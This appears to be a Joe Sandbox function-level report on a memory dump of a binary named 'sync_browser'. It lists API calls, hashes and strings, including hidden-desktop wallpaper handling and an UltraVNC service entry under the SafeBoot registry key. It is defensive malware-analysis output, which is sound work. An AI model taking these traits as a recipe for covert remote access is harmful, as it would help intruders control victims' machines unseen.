Opcode ID: fb5cba2e797ba38d9a3dd7c8f4aa1b18ae4dee72e891ecdbfe1ae65bac5d5b43
Instruction ID: b990cc71c9d2e3e55d649303a5022bb90d02bb614dff0b742c2a43103033b966
Opcode Fuzzy Hash: fb5cba2e797ba38d9a3dd7c8f4aa1b18ae4dee72e891ecdbfe1ae65bac5d5b43
Instruction Fuzzy Hash: 2021A971A18B8681FB60EB20F46436AB364FF54F58F801136E64D47698EF3CD045C715

Function 00007FF7E507A600 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7E507A661

Part of subcall function 00007FF7E507A200: GetProcAddress.KERNEL32 ref: 00007FF7E507A225
Part of subcall function 00007FF7E507A200: FreeLibrary.KERNEL32 ref: 00007FF7E507A265

Part of subcall function 00007FF7E507A290: CoInitialize.OLE32 ref: 00007FF7E507A2B8
Part of subcall function 00007FF7E507A290: CoCreateInstance.OLE32 ref: 00007FF7E507A2E5

SystemParametersInfoA.USER32 ref: 00007FF7E507A694

Strings

HideDesktop.cpp : Restorewallpaper %i, xrefs: 00007FF7E507A60B
shell32.dll, xrefs: 00007FF7E507A65A
HideDesktop.cpp : Restorewallpaper %i %i, xrefs: 00007FF7E507A635

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Library$AddressCreateFreeInfoInitializeInstanceLoadParametersProcSystem
String ID: HideDesktop.cpp : Restorewallpaper %i$HideDesktop.cpp : Restorewallpaper %i %i$shell32.dll
API String ID: 3848869850-2975526927
Opcode ID: 86e18f80a34eacc762fd4aea0dba914ccb49a3b135e5f10d2f504f448b0c5f0f
Instruction ID: 447b8c5fde20799880c5aef7f3b882c626487b2b5239e4282f6ba900436c2893
Opcode Fuzzy Hash: 86e18f80a34eacc762fd4aea0dba914ccb49a3b135e5f10d2f504f448b0c5f0f
Instruction Fuzzy Hash: 4511F560A0954B92FA60BB24B8347B5A351AF90B44FC04437E50DD66A9DE3CA61AC773

Function 00007FF7E5076D60 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF7E5076D93
RegQueryValueExA.ADVAPI32 ref: 00007FF7E5076DD1
RegCloseKey.ADVAPI32 ref: 00007FF7E5076DF0

Strings

System\WPA\MediaCenter, xrefs: 00007FF7E5076D6E
Installed, xrefs: 00007FF7E5076DBA

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: Installed$System\WPA\MediaCenter
API String ID: 3677997916-3461404619
Opcode ID: 554435a057f14dda37f7a57cb3d76111e403ad3072006c26abcf41054863a4ac
Instruction ID: 80e105d74657c904cc7bdcd1d529dfd42b902ef35a75e1ec027023f927f07438
Opcode Fuzzy Hash: 554435a057f14dda37f7a57cb3d76111e403ad3072006c26abcf41054863a4ac
Instruction Fuzzy Hash: BA019B71A28B8582EB509F21F45476AF764FB84B94F801132FA8E46B58EF3CD544CF11

Function 00007FF7E507D790 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00007FF7E507D7BA
WritePrivateProfileStringA.KERNEL32 ref: 00007FF7E507D7D6
WritePrivateProfileSectionA.KERNEL32 ref: 00007FF7E507D804

Strings

Permissions, xrefs: 00007FF7E507D7CC, 00007FF7E507D7FA
isWritable, xrefs: 00007FF7E507D7C5

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: PrivateProfileWrite$SectionStringwsprintf
String ID: Permissions$isWritable
API String ID: 4007284473-46173998
Opcode ID: 7f12bc1f13081b37d87251f9c01b571011c2547fbcf2e5f3b1996aca624bc9e1
Instruction ID: 14b87063af13bf9e32cd66b2675dfdff9c491660c94aecde1c4b3df35d97b694
Opcode Fuzzy Hash: 7f12bc1f13081b37d87251f9c01b571011c2547fbcf2e5f3b1996aca624bc9e1
Instruction Fuzzy Hash: BC017165A08B4B91EF10AB15F4612B5B321FF85F98FC02033D90D86258EE3CE145CB61

Function 00007FF7E5083760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 23registryCOMMON

Download Yara Rule

APIs

_snprintf.LIBCMT ref: 00007FF7E508379D

Part of subcall function 00007FF7E512851C: _errno.LIBCMT ref: 00007FF7E5128553
Part of subcall function 00007FF7E512851C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E512855E

RegDeleteKeyA.ADVAPI32 ref: 00007FF7E50837AE

Strings

Network, xrefs: 00007FF7E5083780
uvnc_service, xrefs: 00007FF7E5083779
SYSTEM\CurrentControlSet\Control\SafeBoot\%s\%s, xrefs: 00007FF7E5083787

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Delete_errno_invalid_parameter_noinfo_snprintf
String ID: Network$SYSTEM\CurrentControlSet\Control\SafeBoot\%s\%s$uvnc_service
API String ID: 1597899911-1199838351
Opcode ID: 446da7c11d9b0ffc6a81d4342d0f74e20c69771809681aa75ea43c0afc302851
Instruction ID: d4409f452a14a82113f39637805db7f5818d017300f1a5b1d7119030dcd26cdb
Opcode Fuzzy Hash: 446da7c11d9b0ffc6a81d4342d0f74e20c69771809681aa75ea43c0afc302851
Instruction Fuzzy Hash: 3EF09065A18B4A91EB10A724F4713BAA360FB44B48FC01237E64D837ACDF3CD105CB65

Function 00007FF7E512929C Relevance: 7.7, APIs: 5, Instructions: 187COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FF7E5129274

Part of subcall function 00007FF7E5133848: _amsg_exit.LIBCMT ref: 00007FF7E513385E

_errno.LIBCMT ref: 00007FF7E5137168
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5137173

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: _amsg_exit_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 1050512615-0
Opcode ID: 59d3a9a0c59e1ee59521e481f79702260e81d2ffae729b60c0b2a618ea284cda
Instruction ID: 5cb562de40607ad1effacb385e71e7e23b2f73e20701b22f31692e11dcbd033b
Opcode Fuzzy Hash: 59d3a9a0c59e1ee59521e481f79702260e81d2ffae729b60c0b2a618ea284cda
Instruction Fuzzy Hash: 0F71D513A0C3CA44F7516A31B57037CABA46B01F84F9A8433EE5E8669ECE3CD551C322

Function 00007FF7E5135D3C Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,00000010,00000008,?,00007FF7E5135EF7), ref: 00007FF7E5135D96
malloc.LIBCMT ref: 00007FF7E5135DFA
MultiByteToWideChar.KERNEL32(?,?,?,?,00000010,00000008,?,00007FF7E5135EF7), ref: 00007FF7E5135E42
GetStringTypeW.KERNEL32(?,?,?,?,00000010,00000008,?,00007FF7E5135EF7), ref: 00007FF7E5135E59
free.LIBCMT ref: 00007FF7E5135E6D

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 1b990316f8ee8c74eb84edbc338ace2982aad15001b0fddeae94aa45b172380f
Instruction ID: 89d5aabb508a7662022e887d9fd448b865ebe78645c51bb591260e44d886fa3e
Opcode Fuzzy Hash: 1b990316f8ee8c74eb84edbc338ace2982aad15001b0fddeae94aa45b172380f
Instruction Fuzzy Hash: 66419972A0474586EB20AF25A8203A9B3D5FF44FA4F9A4236DE1D877D8DF3CD4458311

Function 00007FF7E5127A88 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E5127AB1
DecodePointer.KERNEL32(?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E5127AC1

Part of subcall function 00007FF7E5133480: _errno.LIBCMT ref: 00007FF7E5133489
Part of subcall function 00007FF7E5133480: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E5133494

EncodePointer.KERNEL32(?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E5127B3F

Part of subcall function 00007FF7E5133370: realloc.LIBCMT ref: 00007FF7E513339B
Part of subcall function 00007FF7E5133370: Sleep.KERNEL32(?,?,00000000,00007FF7E5127B2F,?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E51333B7

EncodePointer.KERNEL32(?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E5127B4F
EncodePointer.KERNEL32(?,?,00000000,00007FF7E5127B9D,?,?,?,?,00007FF7E51279F3), ref: 00007FF7E5127B5C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 17a63d5b591e686c9ca2fe18f5a8febc498bada363ee497b58ea7ee50b63046d
Instruction ID: e2220bbc4a6a9402ccdf1271634bfa9a90e0770439d2d9f3acc3d385b6f8ae6f
Opcode Fuzzy Hash: 17a63d5b591e686c9ca2fe18f5a8febc498bada363ee497b58ea7ee50b63046d
Instruction Fuzzy Hash: B7217129B0A74A81EA10BB11F9B426AE251BF44FC0F944437DA0EC775DEE7CE484D326

Function 00007FF7E509DAF0 Relevance: 7.6, APIs: 5, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32 ref: 00007FF7E509DB25
FreeLibrary.KERNEL32 ref: 00007FF7E509DB3F
FreeLibrary.KERNEL32 ref: 00007FF7E509DB58
DeleteCriticalSection.KERNEL32 ref: 00007FF7E509DB7E
DeleteCriticalSection.KERNEL32 ref: 00007FF7E509DB8C

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CriticalDeleteSection$FreeLibrary
String ID:
API String ID: 3328731263-0
Opcode ID: 8efbe1f9ef3851a4ff4b1dc12ed94241d7363f7543c6192012ec118bd10c3970
Instruction ID: 77c9d45a09afbcf8fd326d6624643a78f7b28dc338abdcd7561a5f6a71f1a8bd
Opcode Fuzzy Hash: 8efbe1f9ef3851a4ff4b1dc12ed94241d7363f7543c6192012ec118bd10c3970
Instruction Fuzzy Hash: 0C213525709685A5DA58FB24E5B03F9E350FF81B50F844132D66D832A5DF3CA164C322

Function 00007FF7E513A62C Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7E513A663
GetCurrentProcessId.KERNEL32 ref: 00007FF7E513A66E
GetCurrentThreadId.KERNEL32 ref: 00007FF7E513A67A
GetTickCount.KERNEL32 ref: 00007FF7E513A686
QueryPerformanceCounter.KERNEL32 ref: 00007FF7E513A697

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 5fd10cac5a6f9bb249cac31feee61d70b85b460cd106259e4606b4f7c020a879
Instruction ID: 977c35866d93ab935e2b59e04caa84d7a30ad5131aa3e4d5fa38f6d0a7c421e9
Opcode Fuzzy Hash: 5fd10cac5a6f9bb249cac31feee61d70b85b460cd106259e4606b4f7c020a879
Instruction Fuzzy Hash: 2101C421618A0D82E750BF25F860365B360FB09F91F847532DE5E877A8DE3CDC848711

Function 00007FF7E5087A30 Relevance: 7.5, APIs: 5, Instructions: 32COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A4B
SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A55
SetEvent.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A5F
InitializeCriticalSection.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A8B
InitializeCriticalSection.KERNEL32(?,?,?,00007FF7E50876B4), ref: 00007FF7E5087A95

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: Event$CriticalInitializeSection
String ID:
API String ID: 4164307405-0
Opcode ID: c4fdc54b808940450c7e6836e95b05b7c8ed45843037277cd8a2a281f8498f58
Instruction ID: 6df191bf710de3a735ffe54125a7510d40d65f8dea9f4bc02cf4e34e00f50312
Opcode Fuzzy Hash: c4fdc54b808940450c7e6836e95b05b7c8ed45843037277cd8a2a281f8498f58
Instruction Fuzzy Hash: 4B010872504B45C2D7109F25F9941A8B3F8FB58F98B541136CA8D87768DF38C8A5C750

Function 00007FF7E512B6F0 Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 00007FF7E512B6F9
_errno.LIBCMT ref: 00007FF7E512B701

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: d406b4a9bfd038921951594095831198988d57d612f0112f0ddf710c3ea7d616
Instruction ID: 8eef23896052169dc116dcd631427639805b94cae9f58b54ea524eb132ce8dfa
Opcode Fuzzy Hash: d406b4a9bfd038921951594095831198988d57d612f0112f0ddf710c3ea7d616
Instruction Fuzzy Hash: AF01A26AE0C68EC1EA057B54B46137CE1609F52F22FD14333D62D863DACE7C6000A332

Function 00007FF7E5093220 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

gethostbyname.WS2_32 ref: 00007FF7E509323C
sprintf.LIBCMT ref: 00007FF7E50932C9

Strings

IP address unavailable, xrefs: 00007FF7E509324A
%d., xrefs: 00007FF7E50932B4

Memory Dump Source

Source File: 00000017.00000002.3170882784.00007FF7E5071000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7E5070000, based on PE: true

Associated: 00000017.00000002.3170856075.00007FF7E5070000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3170973291.00007FF7E5149000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171022945.00007FF7E517D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171045471.00007FF7E517F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E5180000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51CB000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171078272.00007FF7E51F8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E5231000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52A4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000017.00000002.3171194684.00007FF7E52EC000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7ff7e5070000_sync_browser.jbxd

Yara matches

Similarity

API ID: gethostbynamesprintf
String ID: %d.$IP address unavailable
API String ID: 4032199589-2983120142
Opcode ID: 1844eddde6bdd16f9ed8f1280075efd27ff06d6aa399f9eaa6a91d19b8d539c6
Instruction ID: c7380cf0d9304f8f8387ece05364bbe90a06e625fac7383173f0d67cb971bd66
Opcode Fuzzy Hash: 1844eddde6bdd16f9ed8f1280075efd27ff06d6aa399f9eaa6a91d19b8d539c6
